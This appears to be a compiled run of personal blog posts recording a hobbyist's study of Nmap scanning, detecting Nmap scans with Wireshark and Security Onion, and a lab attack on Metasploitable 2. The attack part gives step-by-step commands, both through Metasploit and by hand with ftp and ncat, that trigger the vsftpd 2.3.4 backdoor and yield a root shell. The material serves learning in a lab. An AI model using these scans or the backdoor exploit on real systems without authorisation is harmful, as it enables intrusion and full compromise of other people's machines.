This is the sixteenth post detailing my notes on Nmap Network Scanning.

Following on from the last Nmap post on service and application version detection, Nmap considers rarity and probes of high rarity are not tried unless the intensity level is changed.

The standard version detection switch -sV is set at default intensity level 7; however, the following options are available.

Setting intensity between 0 – 9: –version-intensity 3

Setting intensity level 2: –version-light

setting intensity level 9: –version-all

Here’s some scan examples performed on the windows portion of my hacking lab which yielded exactly the same results in this instance:

nmap -sV –version-light 192.168.1.79

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-28 09:22 BST
Nmap scan report for lab.home (192.168.1.79)
Host is up (0.047s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
25/tcp open smtp Microsoft ESMTP 6.0.2600.2180
80/tcp open http Microsoft IIS httpd 5.1
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
443/tcp open https?
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
1025/tcp open msrpc Microsoft Windows RPC
1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM
MAC Address: 00:0C:76:17:A4:17 (Micro-star International CO.)
Service Info: Host: lab; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.78 seconds

And:

nmap -sV –version-all 192.168.1.79

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-28 09:10 BST
Nmap scan report for lab.home (192.168.1.79)
Host is up (0.0063s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
25/tcp open smtp Microsoft ESMTP 6.0.2600.2180
80/tcp open http Microsoft IIS httpd 5.1
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
443/tcp open https?
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
1025/tcp open msrpc Microsoft Windows RPC
1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM
MAC Address: 00:0C:76:17:A4:17 (Micro-star International CO.)
Service Info: Host: lab; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.62 seconds

Obviously the lighter intensity scan was considerably faster.

This is the seventeenth post detailing my notes on Nmap Network Scanning.

This security website describes Sun’s RPC thus:

Sun’s RPC (Remote Procedure Call) forms the basis of many UNIX services, especially NFS (Network File System). However, RPC is extremely dangerous when left exposed to the Internet, which leads to frequent compromise of servers based upon Sun Solaris and Linux. RPC should never be exposed to the Internet.

And this website talks of the advantages and disadvantages of the RPC scan:

Advantages of the RPC Scan
The RPC scan provides detailed RPC application and version information. If the remote device is running an RPC-based application, nmap will reveal everything!

Even if an RPC application is running on an unexpected port, the RPC scan will find it. The RPC scan sends an RPC null to all open ports, so it’s impossible for an RPC application to hide in a little-used port!

Disadvantages of the RPC Scan
The RPC scan opens application sessions, so there will be transaction events in the application logs. Once the application is opened, the size of the conversation will vary. Some open ports will transfer data, but no RPC information. Other RPC applications will send a number of frames as nmap queries for the application name and version number.

Decoys don’t currently work in conjunction with an RPC scan, although it may be a future nmap enhancement.

When to use the RPC Scan
If RPC applications are of interest, the RPC scan will efficiently and effectively locate all RPC applications and identify the RPC application name and version. The RPC scan automatically runs during a version scan, combining valuable version information with detailed RPC data.

Interestingly, like many websites, the above source notes the RPC scan flag as -sR. If you try this Nmap gives this warning:

WARNING: -sR is now an alias for -sV and activates version detection as well as RPC scan.

So, RPC is enabled by default in version detection scans.

Anyway, the Nmap book cites a direct RPC scan using the flag: nmap -F -sSU target. This confuses me as the -A flag is set which includes version detection and as we already know the RPC scan is included as default.

So, I’m a little baffled, but here are some of my experiment scans:

nmap -F -A -sSU scanme.nmap.org

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-29 10:01 BST
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.14s latency).
Not shown: 193 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 1024 8d:60:f1:7c:ca:b7:3d:0a:d6:67:54:9d:69:d9:b9:dd (DSA)
|_2048 79:f8:09:ac:d4:e2:32:42:10:49:d3:bd:20:82:85:ec (RSA)
80/tcp open http Apache httpd 2.2.14 ((Ubuntu))
|_http-title: Go ahead and ScanMe!
554/tcp open tcpwrapped
7070/tcp open tcpwrapped
68/udp open|filtered dhcpc
123/udp open ntp NTP v4
| ntp-info:
|_ receive time stamp: Mon Jul 29 10:04:32 2013
1701/udp open|filtered L2TP
Device type: general purpose|media device
Running (JUST GUESSING): Linux 2.6.X|3.X (89%)
OS CPE: cpe:/o:linux:linux_kernel:2.6.38 cpe:/o:linux:linux_kernel:3 cpe:/h:dish:vip_722k cpe:/o:linux:linux_kernel:2.6
Aggressive OS guesses: Linux 2.6.38 (89%), Linux 3.0 (88%), Linux 2.6.32 – 2.6.35 (87%), Linux 2.6.32 – 2.6.38 (87%), Linux 2.6.39 (86%), Linux 2.6.35 (86%), Linux 3.2 (85%), Dish Network VIP 722k DVR (Linux 2.6) (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 15 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

And:

nmap rpcinfo scanme.nmap.org

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-29 10:28 BST
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.19s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
554/tcp open rtsp
7070/tcp open realserver
9929/tcp open nping-echo

Nmap done: 2 IP addresses (1 host up) scanned in 6.98 seconds

This is the eighteenth post detailing my notes on Nmap Network Scanning.

Although the inner working of OS detection are complex, it’s very easy to use.and the results very comprehensive. Here is scan against the Windows portion of my hacking lab (-O -v).

~# nmap -O -v 192.168.1.79

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-31 11:15 BST
Initiating ARP Ping Scan at 11:15
Scanning 192.168.1.79 [1 port]
Completed ARP Ping Scan at 11:15, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:15
Completed Parallel DNS resolution of 1 host. at 11:15, 0.04s elapsed
Initiating SYN Stealth Scan at 11:15
Scanning lab.home (192.168.1.79) [1000 ports]
Discovered open port 443/tcp on 192.168.1.79
Discovered open port 139/tcp on 192.168.1.79
Discovered open port 25/tcp on 192.168.1.79
Discovered open port 80/tcp on 192.168.1.79
Discovered open port 21/tcp on 192.168.1.79
Discovered open port 445/tcp on 192.168.1.79
Discovered open port 135/tcp on 192.168.1.79
Discovered open port 1025/tcp on 192.168.1.79
Discovered open port 912/tcp on 192.168.1.79
Discovered open port 1433/tcp on 192.168.1.79
Completed SYN Stealth Scan at 11:15, 3.31s elapsed (1000 total ports)
Initiating OS detection (try #1) against lab.home (192.168.1.79)
adjust_timeouts2: packet supposedly had rtt of -81314 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -81314 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -106580 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -106580 microseconds. Ignoring time.
Nmap scan report for lab.home (192.168.1.79)
Host is up (0.029s latency).
Not shown: 990 closed ports
PORT STATE SERVICE
21/tcp open ftp
25/tcp open smtp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
912/tcp open apex-mesh
1025/tcp open NFS-or-IIS
1433/tcp open ms-sql-s
MAC Address: 00:0C:76:17:A4:17 (Micro-star International CO.)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:windows_server_2003
OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Incremental

This scan can be enhanced with the -sV flag which in itself is a Version Detection flag. So, which one should we favour? The book states:

The best answer is usually both. In some cases, such as proxy firewall forwarding to an application on another host, the answers may legitimately differ. TCP/IP fingerprinting will identify the proxy while version scanning will generally detect the server running the proxied application. Even when no proxying or port forwarding is involved using both techniques is beneficial. If they come out the same, this makes the results more credible. If they come out wildly different, investigate further to determine what is going on before relying on either. Since OS and version detection go together so well, the -A option enables them both

This is the nineteenth post detailing my notes on Nmap Network Scanning.

I’ve reached a section of the above Nmap book entitled: TCP/IP Fingerprinting Methods Supported by Nmap and it begins thus:

Nmap OS fingerprinting works by sending up to 16 TCP, UDP, and ICMP probes to known open and closed ports of the target machine. These probes are specially designed to exploit various ambiguities in the standard protocol RFCs. Then Nmap listens for responses. Dozens of attributes in those responses are analyzed and combined to generate a fingerprint. Every probe packet is tracked and resent at least once if there is no response. All of the packets are IPv4 with a random IP ID value. Probes to an open TCP port are skipped if no such port has been found. For closed TCP or UDP ports, Nmap will first check if such a port has been found. If not, Nmap will just pick a port at random and hope for the best.

The following sections are highly technical and reveal the hidden workings of Nmap OS detection. Nmap can be used effectively without understanding this, though the material can help you better understand remote networks and also detect and explain certain anomalies. Plus, some of the techniques are pretty cool. Readers in a hurry may skip to the section called “Dealing with Misidentified and Unidentified Hosts”. But for those of you who are ready for a journey through TCP explicit congestion notification, reserved UDP header bits, initial sequence numbers, bogus flags, and Christmas tree packets: read on!

I’m determined to read this section, but certainly won’t blog on it as in all honesty I don’t think I’ll understand very much.

But if you want to read this you can do so on the below links:

TCP/IP Fingerprinting Methods Supported by Nmap

Fingerprinting Methods Avoided by Nmap

Understanding an Nmap Fingerprint

OS Matching Algorithms

I think it’s fair to say that I’ve blogged quite extensively on the different types of Nmap scans, and for the sake of mixing things up, I want to hop over the fence and look at detecting Nmap scans.

I little while ago I conducted an Nessus scan and viewed the process through Wireshark. I noted at the time:

Well, as soon as I started the scan Wireshark went into overdrive and in a little over 3 minutes registered over 17,000 packets, which is a HUGE amount compared with normal.

Coupled with this was the fact that the string “Nessus” appeared throughout; some 83 times.

It’s fair to say the Nessus scan lit up like a firework on Wireshark.

I noted that I looked forward to trying the same experiment whilst conducting an Nmap scan, which I did today, and will say that Nmap is a very different beast to detect indeed.

In fact, to my untrained eye, except for the fact that Wireshark noted many more packets than usual, there was no obvious giveaway that it was due to an Nmap scan.

And so I have decided to delve in to Chapter 31 of Wireshark Network Analysis entitled: “Detect Scanning and Discovery processes“. Here’s a snippet:

Just as the criminal may investigate the workings of a bank before robbing it, malicious programs and processes may investigate open ports and working hosts before attempting an exploit. Identifying these discovery and reconnaissance processes in a timely manner may thwart the eventual attack.

Understanding the purpose of these discovery methods will help you realise what the attacker is looking for and what options are available to block the traffic.

Nmap is one of the most popular tools used to discover netwrok devices and services. In this chapter we provide some details on how to run and identify various Nmap discovery processes.

In the book Nmap Network Scanning the following is written under the section “Detect Nmap Scans”

Special purpose port scan detectors are a more effective approach to detecting Nmap activity. Two common examples are PortSentry and Scanlogd.

[....]

……these port scan detection tools work pretty well. Yet the type of administrator who cares enough to keep tabs on port scans will also want to know about more serious attacks such as exploit attempts and installed backdoors. For this reason, intrusion detection systems that alert on a wide range of suspicious behaviour are more popular than these special-purpose tools.

Many vendors now sell intrusion detections systems, but Nmap users gravitate to an open-source lightweight IDS named Snort. It ranked as the third most popular security tool among a survey of 3,243 Nmap users (It’s currently rated as 5th most popular). Like Nmap, Snort is improved by a global community of developers. It supports more than two thousand rues for detecting all sorts of suspicious activity, including port scans.

In short, my plan is to work through the techniques for detecting Nmap scans within Wireshark and then go on to check out Snort for myself.

I hope that in doing this I will add to my rather limited knowledge of packets, Wireshark, and even Nmap.

This is the first in a series of posts looking at detecting Nmap scans in Wireshark. I’m being guided by Chapter 31 of Wireshark Network Analysis entitled: “Detect Scanning and Discovery processes“.

The book Nmap Network Scanning has this to say about the ARP Scan:

One of the most common Nmap usage scenarios is to scan an ethernet LAN.

[....]

Nmap issues raw ARP requests and handles retransmission and timeout periods at its own discretion.

And the above Wireshark book:

The disadvantage of uing an ARP scan is that the ARP traffic can’t get through a router or any layer 3 device. The advantage of running and ARP scan is that you can discover local devices that may be hidden from other discovery methods by a firewall. If the firewall blocks ICMP-based pings, you can use an ARP scan to discover the device. You cannot disable ARP responses – that would break the TCP/IP communications system.

Keep in mind that ARP scans will not cross a router. If you detect an ARP scan taking place, the source will be on the same network you are capturing traffic on.

OK, I performed the following Nmap ARP scan on my hacking lab:

~# nmap -PR 192.168.1.79

Starting Nmap 6.25 ( http://nmap.org ) at 2013-08-08 12:15 BST
Nmap scan report for lab.home (192.168.1.79)
Host is up (0.052s latency).
Not shown: 949 closed ports, 41 filtered ports
PORT STATE SERVICE
21/tcp open ftp
25/tcp open smtp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
912/tcp open apex-mesh
1025/tcp open NFS-or-IIS
1433/tcp open ms-sql-s
MAC Address: 00:0C:76:17:A4:17 (Micro-star International CO.)

Nmap done: 1 IP address (1 host up) scanned in 2.23 seconds

I observed in Wireshark and the only indication of the scan were the ARP requests:

The Wireshark book notes: “Common ARP scan processes send ARP requests to broadcast MAC address 0xff:ff:ff:ff:ff:ff”, this was proved correct on analysing one of the ARP packets:

This is the second in a series of posts looking at detecting Nmap scans in Wireshark. I’m being guided by Chapter 31 of Wireshark Network Analysis entitled: “Detect Scanning and Discovery processes“.

The very basic Nmap scan includes a Ping Scan by default, but the -sP flag tells Nmap to perform only a ping scan. Ping scanning can be disabled in Nmap with the -PN flag.

The book Nmap Network Scanning has this to say about the standard Ping scan:

The -sP option sends an ICMP echo request and a TCP ACK packet to port 80 by default.

I attempted an Nmap ping scan of my local PC’s but no ICMP’s were registered in Wireshark and so I suspect something may be blocking these.

So, I switched tactics and performed the following scan. I enabled packet trace so we could see what was happening in Nmap.

nmap -sP –packet-trace scanme.nap.org

Starting Nmap 6.25 ( http://nmap.org ) at 2013-08-09 13:14 BST
SENT (0.3039s) ICMP 192.168.1.70 > 92.242.132.15 Echo request (type=8/code=0) ttl=44 id=62003 iplen=28
SENT (0.3042s) TCP 192.168.1.70:62770 > 92.242.132.15:443 S ttl=52 id=57467 iplen=44 seq=524053234 win=1024 <mss 1460>
SENT (0.3045s) TCP 192.168.1.70:62770 > 92.242.132.15:80 A ttl=37 id=367 iplen=40 seq=0 win=1024
SENT (0.3047s) ICMP 192.168.1.70 > 92.242.132.15 Timestamp request (type=13/code=0) ttl=55 id=61764 iplen=40
SENT (2.3063s) ICMP 192.168.1.70 > 92.242.132.15 Timestamp request (type=13/code=0) ttl=53 id=1347 iplen=40
SENT (2.3064s) TCP 192.168.1.70:62771 > 92.242.132.15:80 A ttl=54 id=20106 iplen=40 seq=0 win=1024
SENT (2.3065s) TCP 192.168.1.70:62771 > 92.242.132.15:443 S ttl=48 id=49784 iplen=44 seq=524118771 win=1024 <mss 1460>
SENT (2.3066s) ICMP 192.168.1.70 > 92.242.132.15 Echo request (type=8/code=0) ttl=46 id=1676 iplen=28
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.32 seconds

At the same time this was recorded in Wireshark once the filter “ICMP” was in place:

The above Wireshark book states the echo requests use ICMP type 8, which is confirmed in the first packet:

And the ICMP echo reply uses type 0 as confirmed in the third packet below.

This is the third in a series of posts looking at detecting Nmap scans in Wireshark. I’m being guided by Chapter 31 of Wireshark Network Analysis entitled: “Detect Scanning and Discovery processes

I’ve previously covered the Nmap “stealth scan” here:

The SYN Scan is stealthy as it never completes the three-way handshake and so is also known as “half-open scanning”. This is a default setting, but can be requested with -sS.

This from the above Wireshark book:

In a TCP half-open scan, since the scanner does not complete the three-way-handshake, a target can look at their list of open communications and the scanning host will not show up (hence the name “stealth scan”). The half-open TCP is the desired type of TCP scan for the sake of stealthiness and resource preservation on the target.

TCP scans can be difficult to detect with Wireshark unless the scans are in close proximity and evident in the trace file. An unusually high number of RSTs or a high number of SYN/ACKs without data transfer are strong indications that TCP scan is underway.

I will now perform the -sS scan on one specific port (80) that I already know is open. At the same time I will enable - -packet-trace to observe the packets sent and received:

~# nmap -sS -p 80 –packet-trace pax-pentest.net

SENT (0.2562s) ICMP 192.168.1.70 > 193.189.74.44 Echo request (type=8/code=0) ttl=47 id=6642 iplen=28  <– 1
SENT (0.2565s) TCP 192.168.1.70:49498 > 193.189.74.44:443 S ttl=44 id=39342 iplen=44 seq=4185714695 win=1024 <mss 1460> <– 2
SENT (0.2567s) TCP 192.168.1.70:49498 > 193.189.74.44:80 A ttl=42 id=7824 iplen=40 seq=0 win=1024 <– 3
SENT (0.2569s) ICMP 192.168.1.70 > 193.189.74.44 Timestamp request (type=13/code=0) ttl=49 id=6519 iplen=40
RCVD (0.3137s) TCP 193.189.74.44:443 > 192.168.1.70:49498 SA ttl=53 id=0 iplen=44 seq=2414670637 win=5840 <mss 1460> <– 4

Line 1 the scanning machine sends an echo request.

Line 2 the scanning machine sends an SYN request

Line 3 the scanning machine sends an ACK request

Line 4 the scanned machine responds with a SYN/ACK

But where is the promised RST from the scanning machine which terminates the connection before the three-way-handshake is complete? Well, that’s the beauty of it, Nmap doesn’t send this, it is sent by the Operating System of the scanning machine.

As Nmap crafted the original packet, the received acknowledgement surprises my operating system, which will respond with a RST packet; therefore, Nmap doesn’t have to acknowledge and close the connection.

This can all be seen beautifully and graphically illustrated in the Wireshark capture below:

So, if we see this pattern of requests for SYN followed swiftly by RST after SYN/ACK has been sent, we know we’re probably being “stealthy” TCP scanned.

Since I began my series on detecting Nmap in Wireshark I’ve become somewhat obsessed with looking at detection and security software that can identify port scans and more.

In the book Nmap Network Scanning the following is written under the section “Detect Nmap Scans”

Special purpose port scan detectors are a more effective approach to detecting Nmap activity. Two common examples are PortSentry and Scanlogd.

[....]

……these port scan detection tools work pretty well. Yet the type of administrator who cares enough to keep tabs on port scans will also want to know about more serious attacks such as exploit attempts and installed backdoors. For this reason, intrusion detection systems that alert on a wide range of suspicious behaviour are more popular than these special-purpose tools.

Many vendors now sell intrusion detections systems, but Nmap users gravitate to an open-source lightweight IDS named Snort. It ranked as the third most popular security tool among a survey of 3,243 Nmap users (It’s currently rated as 5th most popular). Like Nmap, Snort is improved by a global community of developers. It supports more than two thousand rues for detecting all sorts of suspicious activity, including port scans.

As a result of reading this I have experimented with both PortSentry and Scanlogd without much success. I then tried Snort and had limited success, I found it difficult as it is controlled entirely through the command line.

As I was busy moaning about this lack of success on Twitter I received the following Tweet:

@Stuey_James try security onion, everything u need is there and easy to configure. Can run as a VM for testing/playing with…

— Adam Maxwell (@catalyst256) August 7, 2013

And so began a lengthy process of investigating Security Onion:

Security Onion is a Linux distro for IDS (Intrusion Detection) and NSM (Network Security Monitoring). It’s based on Ubuntu and contains Snort, Suricata, Sguil, Squert, Snorby, Bro, NetworkMiner, Xplico, and many other security tools. The easy-to-use Setup wizard allows you to build an army of distributed sensors for your enterprise in minutes!

Basically Security Onion is a suite of IDS and NSM software (which includes Snort) and instead of having to use command line instructions, it comes configured with the software to analyse output in a GUI fashion via the browser.

I tried downloading the XUbuntu bundle for use in a VM, but it just didn’t work for me and so I tried a dual boot and that again failed, and so yesterday, I borrowed a PC from a friend, loaded Ubuntu 12.04 32bit and installed Security Onion following instructions from here.

Once the simple setup was complete and I loaded localhost in the browser, I was greeted with a Security Onion page with:

*Local Server*
Links to quickly access your local Squert, Snorby, ELSA, and Xplico instances:

* Squert: View NIDS/HIDS alerts and HTTP logs
* Snorby: View and annotate IDS alerts
* ELSA: Search logs (IDS, Bro, and syslog)
* Xplico: Carve PCAP files

All the above is linked and I simply click and log in to any one of them to view output.

That’s as far as I’ve got so far, so will begin testing with Nmap scans to see what can be detected.

This is the fourth in a series of posts looking at detecting Nmap scans in Wireshark. I’m being guided by Chapter 31 of Wireshark Network Analysis entitled: “Detect Scanning and Discovery processes”.

The book Nmap Network Scanning has this to say about the Null scan:

These special purpose scan types are adept at sneaking past firewalls to explore the systems behind them. Unfortunately they rely on target behaviour that some systems (particularly Windows variants) don’t exhibit.

And

The TCP RFC says that if a closed port receives a packet that does not have the SYN, ACK, or RST flag set, the port should respond with an RST packet of its own. Furthermore, the RFC states that if the port is open and it receives a packet without a SYN, ACK or RST flag set the packet should be ignored.

[....]

Assuming the operating system of the target fully complies with the TCP RFC, Nmap is able to determine the port state without completing or even initiating a connection on the target system.

So, if the scanned system is RFC compliant, then we expect a RST from a closed port and no response from an open or filtered port.

As Null scans do not set any bits (TCP flag header 0) we are looking for this fingerprint in Wireshark.

Here’s the Nmap scan:

~# nmap -sN 192.168.1.93

Starting Nmap 6.25 ( http://nmap.org ) at 2013-08-14 13:57 BST
Nmap scan report for SecurityOnion.home (192.168.1.93)
Host is up (0.0065s latency).
All 1000 scanned ports on SecurityOnion.home (192.168.1.93) are open|filtered
MAC Address: 00:11:11:D2:EB:E5 (Intel)

Nmap done: 1 IP address (1 host up) scanned in 21.55 seconds

And here’s a portion of the Wireshark capture:

Note the [ <None> ] which can also be identified in the packet itself:

Flags: 0×000 (<none>)

In order to identify these in Wireshark we could set the filter to: tcp.flags==0×000

Following a previous post I performed an “aggressive” scan using Nmap - including service/version, OS detection and Nmap Scripting Engine (NSE) – on the machine hosting Security Onion on an Ubunutu Operating System.

I was particularly interested in the Snorby output, some of which follows:

The ‘High Severity” were all noted as GPL Shellcode and the “Medium Severity” swept up the rest.

And it was possible to dig further on each line:

Obviously I used the nosiest, most intrusive Nmap scan possible; however, it was still very satisfying viewing a graphical detection of the scan in Snorby.

This experience has wetted my appetite for Security Onion. As stated previously I only have this installed on a 32-bit old version of Ubuntu. Also, I can only detect scans that are performed against the machine hosting this.

I’m now very keen to run the full Security Onion package on XUbuntu and plug it in to a network tap for monitoring all traffic on the network. For this I will need an 64-bit laptop and the network tap.

I can wish.

It’s three months since I wrote my last “Where I’m at” post.

I must admit this cyber security hobby is something of a time vampire and extremely addictive. Here’s a breakdown of where I find myself currently:

Just upgraded to a Ruby Programming book known in the community as the “PickAxe” entitled: Programming Ruby 1.9 & 2.0 The Pragmatic Programmers’ Guide. This is the latest version of the book and I aim to run Ruby 2.0 in an RVM for the time being.

I’m attempting to get my hands on a cheap laptop from which to run Security Onion on a network tap, to learn about intrusion detection and make more use of Wireshark.

I want to explore packets at a deeper level and so have (finally) installed PacketFu which is a packet manipulation tool similar to Scapy but written in Ruby, which should also help with programming progress.

I shall continue working with the Open Web Application Security Project (OWASP) Broken Web Applications Project (owaspbwa) and hopefully learn more on Web Application security .

For light relief, I’m going all script kiddie and want to make use of Metasploit’s GUI Armitage and Nmap’s Zenmap. I’ve done quite a bit through the command prompt on both tools and need something more fun and visuals.

I’ve come a long way in three months, but haven’t reached the foot of the mountain.

That’s where I’m at.

This is the fifth in a series of posts looking at detecting Nmap scans in Wireshark. I’m being guided by Chapter 31 of Wireshark Network Analysis entitled: “Detect Scanning and Discovery processes”.

The book Nmap Network Scanning has this to say about the Null scan:

When scanning systems compliant with the RFC text, any packet not containing SYN, RST, or ACK bits will result in a returned RST if the port is closed and no response at all if the port is open/filtered. As long as none of those three bits are included, any combination of the other three (FIN, PSH and URG) are OK

[....]

Xmas scan (-sX) sets the FIN, PSH and URG flags, lighting the packet up like a Christmas tree.

[....]

The port is marked as filtered if an ICMP unreachable error (type 3, code 1,2,3,9,10 or 13) is received.

[....]

The key advantage to these scan types is that they can sneak through certain non-stateful firewalls and packet filtering routers. Another advantage is that these scan types are a little more stealthy than even the SYN scan. Don’t count on this though – most modern IDS products can be configured to detect them. The big downside is that not all systems follow RFC 793 to the letter……

To make things more interesting I will scan the Ubuntu system hosting Security Onion to see if the Snorby IDS will pick up the scan.

Here’s the scan:

nmap -sX 192.168.1.93

Starting Nmap 6.40 ( http://nmap.org ) at 2013-08-24 08:09 BST
Nmap scan report for 192.168.1.93
Host is up (0.0046s latency).
All 1000 scanned ports on 192.168.1.93 are open|filtered
MAC Address: 00:11:11:D2:EB:E5 (Intel)

The first thing to say is that Snorby did not detect this scan and issued no warnings. I’m sure Snorby could be configured to detect these scans, I just don’t know how to do so at this stage.

On the other hand, this scan was an easy spot within Wireshark. Here’s a partial Wireshark capture of the scan:

As you can see the FIN, PSH and URG flags are easily identifiable.

Here’s a breakdown of the TCP:

Note the Flag summary line which allows us to filter in Wireshark using: tcp.flags==0×029

Superb video below demonstrating configuring Proxychains with Tor for anonymous port scanning and such within Kali Linux:

This blog post simply details the results of scanning Metasploitable 2 with Nmap for easy future reference.

Nmap scan flags used:

nmap -sV -O -p- 192.168.1.103

Service version detection (sV) – OS detection (-O) All 65535 ports (-p-) – IP Address

Output:

Host is up (0.0078s latency).
Not shown: 65502 closed ports
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp  open  rmiregistry GNU Classpath grmiregistry
1524/tcp  open  ingreslock?
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd?
4444/tcp  open  krb524?
4475/tcp  open  unknown
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 – 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         Unreal ircd
6697/tcp  open  irc         Unreal ircd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  unknown
17215/tcp open  unknown
40633/tcp open  unknown
42530/tcp open  mountd      1-3 (RPC #100005)
48411/tcp open  nlockmgr    1-4 (RPC #100021)
58834/tcp open  status      1 (RPC #100024)

And these results will provide the basis of my attack vectors.

The Nmap scan of Metasploitable 2 revealed:

PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4

In the Metasploit console:

msf > search vsftpd

Matching Modules
================

Name                                  Disclosure Date          Rank       Description
—-                                  —————          —-       ———–
exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03 00:00:00 UTC  excellent  VSFTPD v2.3.4 Backdoor Command Execution

Then:

msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > show payloads

Compatible Payloads
===================

Name               Disclosure Date  Rank    Description
—-               —————  —-    ———–
cmd/unix/interact                   normal  Unix Command, Interact with Established Connection

msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name   Current Setting  Required  Description
—-   —————  ——–  ———–
RHOST                   yes       The target address
RPORT  21               yes       The target port

Exploit target:

Id  Name
–  —-
0   Automatic

And to the exploit:

msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.1.103
RHOST => 192.168.1.103
msf exploit(vsftpd_234_backdoor) > set payload cmd/unix/interact
payload => cmd/unix/interact
msf exploit(vsftpd_234_backdoor) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling…
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.78:39930 -> 192.168.1.103:6200) at 2013-11-02 10:15:45 +0000

And to prove exploit:

whoami
root
Root access obtained.

This exploit is based is based on a backdoor that was slipped into the source code of the vsftpd server version 2.3.4 which opens a listening shell on port 6200 when a smiley face is used in the FTP Username.

Now that we know the vulnerability we can exploit this using a different method within the command prompt. First we make a connection via ftp:

:~# ftp 192.168.1.103
Connected to 192.168.1.103.
220 (vsFTPd 2.3.4)
Name (192.168.1.103:root): whatever:)
331 Please specify the password.
Password:

We can use any password.

Then connect via Ncat:

:~# ncat 192.168.1.103 6200
whoami
root

Here’s a Security Tube video demonstrating the above. It’s worth viewing the Security Tube page which details the injected backdoor code.

And here’s another video using Netcat:

The Nmap scan of Metasploitable 2 revealed:

PORT      STATE SERVICE     VERSION
23/tcp    open  telnet      Linux telnetd

Most of the information on the Internet talks of using a password cracking tool for this Telnet service; however, there is another way using a Metasploit scanner:

msf > search telnet
[!] Database not connected or cache not built, using slow search

Matching Modules
================

Name                                                Disclosure Date  Rank       Description
—-                                                —————  —-       ———–
auxiliary/admin/http/dlink_dir_300_600_exec_noauth  2013-02-04       normal     D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution
auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof        2010-12-21       normal     Microsoft IIS FTP Server Encoded Response Overflow Trigger
auxiliary/scanner/telnet/lantronix_telnet_password                   normal     Lantronix Telnet Password Recovery
auxiliary/scanner/telnet/lantronix_telnet_version                    normal     Lantronix Telnet Service Banner Detection
auxiliary/scanner/telnet/telnet_encrypt_overflow                     normal     Telnet Service Encyption Key ID Overflow Detection
auxiliary/scanner/telnet/telnet_login                                normal     Telnet Login Check Scanner
auxiliary/scanner/telnet/telnet_ruggedcom                            normal     RuggedCom Telnet Password Generator
